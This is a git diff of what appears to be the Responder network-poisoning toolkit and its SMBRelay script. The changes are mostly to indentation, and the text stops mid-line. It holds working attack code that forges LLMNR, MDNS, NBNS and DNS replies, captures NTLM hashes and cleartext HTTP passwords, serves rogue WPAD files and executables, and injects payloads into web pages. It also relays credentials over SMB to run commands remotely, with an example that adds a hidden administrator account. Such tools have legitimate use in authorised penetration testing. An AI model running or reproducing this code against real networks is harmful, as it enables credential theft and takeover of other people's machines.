RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): + buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + buff.calculate() + for x in range(1): + soc.sendto(str(buff), self.client_address) + Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) + logging.warning(Message) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + pass + else: + pass if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): + if data[2:4] == "\x00\x00": + if Parse_IPV6_Addr(data): Name = Parse_LLMNR_Name(data) if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - for x in range(1): - soc.sendto(str(buff), self.client_address) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass + buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + buff.calculate() + Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) + for x in range(1): + soc.sendto(str(buff), self.client_address) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + pass if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) - for x in range(1): - soc.sendto(str(buff), self.client_address) - if PrintLLMNRNBTNS(Log2Filename,Message): - print Message - logger2.warning(Message) - if Is_Finger_On(Finger_On_Off): - try: - Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) - except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) - pass + buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) + buff.calculate() + Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name) + for x in range(1): + soc.sendto(str(buff), self.client_address) + if PrintLLMNRNBTNS(Log2Filename,Message): + print Message + logger2.warning(Message) + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('[+] OsVersion is:%s'%(Finger[0])) + logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + except Exception: + logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + pass else: - pass + pass else: - pass + pass except: - raise + raise ################################################################################## #DNS Stuff ################################################################################## def ParseDNSType(data): - QueryTypeClass = data[len(data)-4:] - if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. - return True - else: - return False - + QueryTypeClass = data[len(data)-4:] + if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer. + return True + else: + return False + #DNS Answer packet. class DNSAns(Packet): fields = OrderedDict([ @@ -1401,9 +1401,9 @@ class DNSAns(Packet): ("QuestionNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), - ("AnswerPointer", "\xc0\x0c"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), + ("AnswerPointer", "\xc0\x0c"), + ("Type1", "\x00\x01"), + ("Class1", "\x00\x01"), ("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long.. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), @@ -1421,30 +1421,30 @@ class DNS(BaseRequestHandler): def handle(self): data, soc = self.request if self.client_address[0] == "127.0.0.1": - pass + pass elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - soc.sendto(str(buff), self.client_address) - print "DNS Answer sent to: %s "%(self.client_address[0]) - logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) + buff = DNSAns() + buff.calculate(data) + soc.sendto(str(buff), self.client_address) + print "DNS Answer sent to: %s "%(self.client_address[0]) + logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) class DNSTCP(BaseRequestHandler): def handle(self): - try: - data = self.request.recv(1024) - if self.client_address[0] == "127.0.0.1": - pass - elif ParseDNSType(data): - buff = DNSAns() - buff.calculate(data) - self.request.send(str(buff)) - print "DNS Answer sent to: %s "%(self.client_address[0]) - logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) + try: + data = self.request.recv(1024) + if self.client_address[0] == "127.0.0.1": + pass + elif ParseDNSType(data): + buff = DNSAns() + buff.calculate(data) + self.request.send(str(buff)) + print "DNS Answer sent to: %s "%(self.client_address[0]) + logging.warning('DNS Answer sent to: %s'%(self.client_address[0])) except Exception: - pass + pass ################################################################################## @@ -1457,10 +1457,10 @@ class MDNSAns(Packet): ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type", "\x00\x01"), + ("AnswerNameNull", "\x00"), + ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. ("IPLen", "\x00\x04"), @@ -1472,55 +1472,55 @@ class MDNSAns(Packet): self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ def Poisoned_MDNS_Name(data): - data = data[12:] - Name = data[:len(data)-5] - return Name + data = data[12:] + Name = data[:len(data)-5] + return Name class MDNS(BaseRequestHandler): def handle(self): - MADDR = "224.0.0.251" - MPORT = 5353 - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - try: - if Analyze(AnalyzeMode): - if Parse_IPV6_Addr(data): - print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - - if RespondToSpecificHost(RespondTo): - if Analyze(AnalyzeMode) == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if Parse_IPV6_Addr(data): - print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - - if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: - if Parse_IPV6_Addr(data): - print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) - logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - else: + MADDR = "224.0.0.251" + MPORT = 5353 + data, soc = self.request + if self.client_address[0] == "127.0.0.1": pass - except Exception: - raise + try: + if Analyze(AnalyzeMode): + if Parse_IPV6_Addr(data): + print '[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data)) + logging.warning('[Analyze mode: MDNS] Host: %s is looking for : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + + if RespondToSpecificHost(RespondTo): + if Analyze(AnalyzeMode) == False: + if RespondToIPScope(RespondTo, self.client_address[0]): + if Parse_IPV6_Addr(data): + print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) + logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + Name = Poisoned_MDNS_Name(data) + MDns = MDNSAns(AnswerName = Name) + MDns.calculate() + soc.sendto(str(MDns),(MADDR,MPORT)) + + if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False: + if Parse_IPV6_Addr(data): + print 'MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data)) + logging.warning('MDNS poisoned answer sent to this IP: %s. The requested name was : %s'%(self.client_address[0],Parse_MDNS_Name(data))) + Name = Poisoned_MDNS_Name(data) + MDns = MDNSAns(AnswerName = Name) + MDns.calculate() + soc.sendto(str(MDns),(MADDR,MPORT)) + else: + pass + except Exception: + raise ################################################################################## #HTTP Stuff @@ -1537,126 +1537,126 @@ def ParseHTTPHash(data,client): NthashOffset = struct.unpack(' 24: - NthashLen = 64 - DomainLen = struct.unpack('2: - PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) - print PostData - logging.warning(PostData) + Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST)) + logging.warning(Host3Str) + print Host3Str + if len(''.join(POSTDATA)) >2: + PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip()) + print PostData + logging.warning(PostData) #Handle HTTP packet sequence. def PacketSequence(data,client): @@ -1664,90 +1664,90 @@ def PacketSequence(data,client): BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data) if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data): - File = config.get('HTTP Server', 'ExecFilename') - buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) - buffer1.calculate() - return str(buffer1) + File = config.get('HTTP Server', 'ExecFilename') + buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File) + buffer1.calculate() + return str(buffer1) if ServeEXECAlwaysOrNot(Exec_Mode_On_Off): - if IsExecutable(FILENAME): - buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) - buffer1.calculate() - return str(buffer1) - else: - buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) - buffer1.calculate() - return str(buffer1) + if IsExecutable(FILENAME): + buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME) + buffer1.calculate() + return str(buffer1) + else: + buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME)) + buffer1.calculate() + return str(buffer1) if Ntlm: - packetNtlm = b64decode(''.join(Ntlm))[8:9] - if packetNtlm == "\x01": - GrabURL(data,client) - GrabCookie(data,client) - r = NTLM_Challenge(ServerChallenge=Challenge) - r.calculate() - t = IIS_NTLM_Challenge_Ans() - t.calculate(str(r)) - buffer1 = str(t) - return buffer1 - if packetNtlm == "\x03": - NTLM_Auth= b64decode(''.join(Ntlm)) - ParseHTTPHash(NTLM_Auth,client) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - logging.warning(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')) - buffer1.calculate() - return str(buffer1) + packetNtlm = b64decode(''.join(Ntlm))[8:9] + if packetNtlm == "\x01": + GrabURL(data,client) + GrabCookie(data,client) + r = NTLM_Challenge(ServerChallenge=Challenge) + r.calculate() + t = IIS_NTLM_Challenge_Ans() + t.calculate(str(r)) + buffer1 = str(t) + return buffer1 + if packetNtlm == "\x03": + NTLM_Auth= b64decode(''.join(Ntlm)) + ParseHTTPHash(NTLM_Auth,client) + if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): + Message = "[+]WPAD (auth) file sent to: %s"%(client) + if Verbose: + print Message + logging.warning(Message) + buffer1 = WpadCustom(data,client) + return buffer1 + else: + buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')) + buffer1.calculate() + return str(buffer1) if BasicAuth: - GrabCookie(data,client) - GrabURL(data,client) - outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") - if PrintData(outfile,b64decode(''.join(BasicAuth))): - print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth)) - WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) - logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) - if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): - Message = "[+]WPAD (auth) file sent to: %s"%(client) - if Verbose: - print Message - logging.warning(Message) - buffer1 = WpadCustom(data,client) - return buffer1 - else: - buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')) - buffer1.calculate() - return str(buffer1) + GrabCookie(data,client) + GrabURL(data,client) + outfile = os.path.join(ResponderPATH,"HTTP-Clear-Text-Password-"+client+".txt") + if PrintData(outfile,b64decode(''.join(BasicAuth))): + print "[+]HTTP-User & Password:", b64decode(''.join(BasicAuth)) + WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth))) + logging.warning('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth)))) + if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client): + Message = "[+]WPAD (auth) file sent to: %s"%(client) + if Verbose: + print Message + logging.warning(Message) + buffer1 = WpadCustom(data,client) + return buffer1 + else: + buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')) + buffer1.calculate() + return str(buffer1) else: - return str(Basic_Ntlm(Basic)) + return str(Basic_Ntlm(Basic)) #HTTP Server Class class HTTP(BaseRequestHandler): def handle(self): try: - while True: - self.request.settimeout(1) - data = self.request.recv(8092) - buff = WpadCustom(data,self.client_address[0]) - if buff and WpadForcedAuth(Force_WPAD_Auth) == False: - Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) - if Verbose: - print Message - logging.warning(Message) - self.request.send(buff) - else: - buffer0 = PacketSequence(data,self.client_address[0]) - self.request.send(buffer0) + while True: + self.request.settimeout(1) + data = self.request.recv(8092) + buff = WpadCustom(data,self.client_address[0]) + if buff and WpadForcedAuth(Force_WPAD_Auth) == False: + Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0]) + if Verbose: + print Message + logging.warning(Message) + self.request.send(buff) + else: + buffer0 = PacketSequence(data,self.client_address[0]) + self.request.send(buffer0) except Exception: - pass#No need to be verbose.. + pass#No need to be verbose.. ################################################################################## @@ -1755,66 +1755,66 @@ class HTTP(BaseRequestHandler): ################################################################################## def HandleGzip(Headers, Content, Payload): if len(Content) > 5: - try: - unziped = zlib.decompress(Content, 16+zlib.MAX_WBITS) - except: - return False - InjectPayload = Payload - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasHTML = re.findall('(?<=1: - try: - Headers, Content = data.split('\r\n\r\n') - except: - return data - RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307'] - if [s for s in RedirectCodes if s in Headers]: - return data - if "Content-Encoding: gzip" in Headers: - Gzip = HandleGzip(Headers,Content, Payload) - if Gzip: - return Gzip - else: - return data - if "content-type: text/html" in Headers.lower(): - Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers)) - HasHTML = re.findall('(?<=5: - data = InjectData(i.recv(8192)) - else: - data = i.recv(8192) - except: - pass - else: - out = soc - data = i.recv(8192) - if self.command == "POST": - Message = "POST data was: %s\n"%(data) - if Verbose == True: - print Message - OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") - WriteData(OutFile,Message, Message) + if i is soc: + out = self.connection + try: + if len(config.get('HTTP Server','HTMLToServe'))>5: + data = InjectData(i.recv(8192)) + else: + data = i.recv(8192) + except: + pass + else: + out = soc + data = i.recv(8192) + if self.command == "POST": + Message = "POST data was: %s\n"%(data) + if Verbose == True: + print Message + OutFile = os.path.join(ResponderPATH,"HTTPCookies/HTTP-Cookie-request-"+netloc+"-from-"+self.client_address[0]+".txt") + WriteData(OutFile,Message, Message) if data: try: - out.send(data) - count = 0 + out.send(data) + count = 0 except: - pass - if count == max_idling: - break + pass + if count == max_idling: + break return None - + do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE=do_GET - - + + ################################################################################## #HTTPS Server ################################################################################## @@ -1948,79 +1948,79 @@ def ParseHTTPSHash(data,client): NthashOffset = struct.unpack(' 24: - print "[+]HTTPS NTLMv2 hash captured from :",client - logging.warning('[+]HTTPS NTLMv2 hash captured from :%s'%(client)) - NthashLen = 64 - DomainLen = struct.unpack(' 10: - LMhashOffset = struct.unpack('i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[11:15])[0] - LDAPVersion = struct.unpack('i',data[2:6])[0] + MessageSequence = struct.unpack('i',data[11:15])[0] + LDAPVersion = struct.unpack(' 0: - time.sleep(1) + num_thrd = 1 + Is_FTP_On(FTP_On_Off) + Is_HTTP_On(On_Off) + Is_HTTPS_On(SSL_On_Off) + Is_WPAD_On(WPAD_On_Off) + Is_Kerberos_On(Krb_On_Off) + Is_SMB_On(SMB_On_Off) + Is_SQL_On(SQL_On_Off) + Is_LDAP_On(LDAP_On_Off) + Is_DNS_On(DNS_On_Off) + Is_POP_On(POP_On_Off) + Is_SMTP_On(SMTP_On_Off) + Is_IMAP_On(IMAP_On_Off) + #Browser listener loaded by default + thread.start_new(serve_thread_udp,('', 138,Browser)) + ## Poisoner loaded by default, it's the purpose of this tool... + thread.start_new(serve_thread_udp_MDNS,('', 5353,MDNS)) #MDNS + thread.start_new(serve_thread_udp,('', 88, KerbUDP)) + thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS + thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR + while num_thrd > 0: + time.sleep(1) except KeyboardInterrupt: - exit() + exit() if __name__ == '__main__': try: main() except: raise - diff --git a/SMBRelay.py b/SMBRelay.py index 5b4cb80..0b368e2 100644 --- a/SMBRelay.py +++ b/SMBRelay.py @@ -11,7 +11,7 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys, os, struct,re,socket,random, RelayPackets,optparse,thread @@ -21,13 +21,13 @@ from socket import * from RelayPackets import * def UserCallBack(op, value, dmy, parser): - args=[] - for arg in parser.rargs: - if arg[0] != "-": - args.append(arg) - if getattr(parser.values, op.dest): - args.extend(getattr(parser.values, op.dest)) - setattr(parser.values, op.dest, args) + args=[] + for arg in parser.rargs: + if arg[0] != "-": + args.append(arg) + if getattr(parser.values, op.dest): + args.extend(getattr(parser.values, op.dest)) + setattr(parser.values, op.dest, args) parser = optparse.OptionParser(usage="python %prog -i 10.20.30.40 -c 'net user Responder Quol0eeP/e}X /add &&net localgroup administrators Responder /add' -t 10.20.30.45 -u Administrator lgandx admin", prog=sys.argv[0], @@ -45,19 +45,19 @@ parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBac options, args = parser.parse_args() if options.CMD is None: - print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" - parser.print_help() - exit(-1) + print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" + parser.print_help() + exit(-1) if options.TARGET is None: - print "\n-t mandatory option is missing, please provide a target.\n" - parser.print_help() - exit(-1) + print "\n-t mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) if options.UserToRelay is None: - print "\n-u mandatory option is missing, please provide a username to relay.\n" - parser.print_help() - exit(-1) + print "\n-u mandatory option is missing, please provide a username to relay.\n" + parser.print_help() + exit(-1) ResponderPATH = os.path.dirname(__file__) # Set some vars. @@ -69,7 +69,7 @@ OURIP = options.OURIP print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: lgaffie@trustwave.com" print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' -print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' +print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' class Packet(): fields = OrderedDict([ @@ -93,76 +93,76 @@ Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=lo #Function used to verify if a previous auth attempt was made. def ReadData(outfile,Client, User, cmd=None): try: - with open(ResponderPATH+outfile,"r") as filestr: - if cmd == None: - String = Client+':'+User - if re.search(String.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return True - else: - return False - if cmd != None: - String = Client+","+User+","+cmd - if re.search(String.encode('hex'), filestr.read().encode('hex')): - filestr.close() - print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) - return True - else: - return False + with open(ResponderPATH+outfile,"r") as filestr: + if cmd == None: + String = Client+':'+User + if re.search(String.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return True + else: + return False + if cmd != None: + String = Client+","+User+","+cmd + if re.search(String.encode('hex'), filestr.read().encode('hex')): + filestr.close() + print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) + return True + else: + return False except: - raise + raise -#Function used to parse SMB NTLMv1/v2 +#Function used to parse SMB NTLMv1/v2 def ParseHash(data,Client, Target): - try: - lenght = struct.unpack('= 30: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - if ReadData("SMBRelay-Session.txt", Client, Username): - print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) - pass - if Username in UserToRelay: - print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) - print "Username : ",Username - print "Domain (if joined, if not then computer name) : ",Domain - return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client - if NthashLen == 24: - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - if ReadData("SMBRelay-Session.txt", Client, Username): - print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) - pass - if Username in UserToRelay: - print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) - LMHashing = data[65:65+LMhashLen].encode('hex').upper() - NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() - print "Username : ",Username - print "Domain (if joined, if not then computer name) : ",Domain - return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client - else: - print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) - pass + try: + lenght = struct.unpack('= 30: + Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] + pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] + var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] + Username, Domain = tuple(var) + if ReadData("SMBRelay-Session.txt", Client, Username): + print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) + pass + if Username in UserToRelay: + print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) + print "Username : ",Username + print "Domain (if joined, if not then computer name) : ",Domain + return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client + if NthashLen == 24: + pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] + var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] + Username, Domain = tuple(var) + if ReadData("SMBRelay-Session.txt", Client, Username): + print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) + pass + if Username in UserToRelay: + print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) + LMHashing = data[65:65+LMhashLen].encode('hex').upper() + NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() + print "Username : ",Username + print "Domain (if joined, if not then computer name) : ",Domain + return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client + else: + print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) + pass - except Exception: - raise + except Exception: + raise #Detect if SMB auth was Anonymous def Is_Anonymous(data): LMhashLen = struct.unpack('=Windows Vista" - Logs.info(CLIENTIP+":"+Username) - ## NtCreateAndx + print "[+] Relay failed, SessionSetupAndX returned invalid parameter. It's most likely because both client and server are >=Windows Vista" + Logs.info(CLIENTIP+":"+Username) + ## NtCreateAndx if data[8:10] == "\x73\x00": - print "[+] Authenticated, trying to PSexec on target !" - head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBNTCreateData() - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## Fail Handling. + print "[+] Authenticated, trying to PSexec on target !" + head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + t = SMBNTCreateData() + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## Fail Handling. if data[8:10] == "\xa2\x22": - print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?" - ## DCE/RPC Write. + print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?" + ## DCE/RPC Write. if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - x = SMBDCEData() - x.calculate() - f = data[42:44] - t = SMBWriteData(FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLOpenManagerW. - if data[8:10] == "\x2e\x00": + head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + x = SMBDCEData() + x.calculate() + f = data[42:44] + t = SMBWriteData(FID=f,Data=x) + t.calculate() + packet0 = str(head)+str(t) + buffer1 = longueur(packet0)+packet0 + s.send(buffer1) + data = s.recv(2048) + ## DCE/RPC Read. + if data[8:10] == "\x2f\x00": + head = SMBHeader(cmd="\x2e",flag1="\x18", 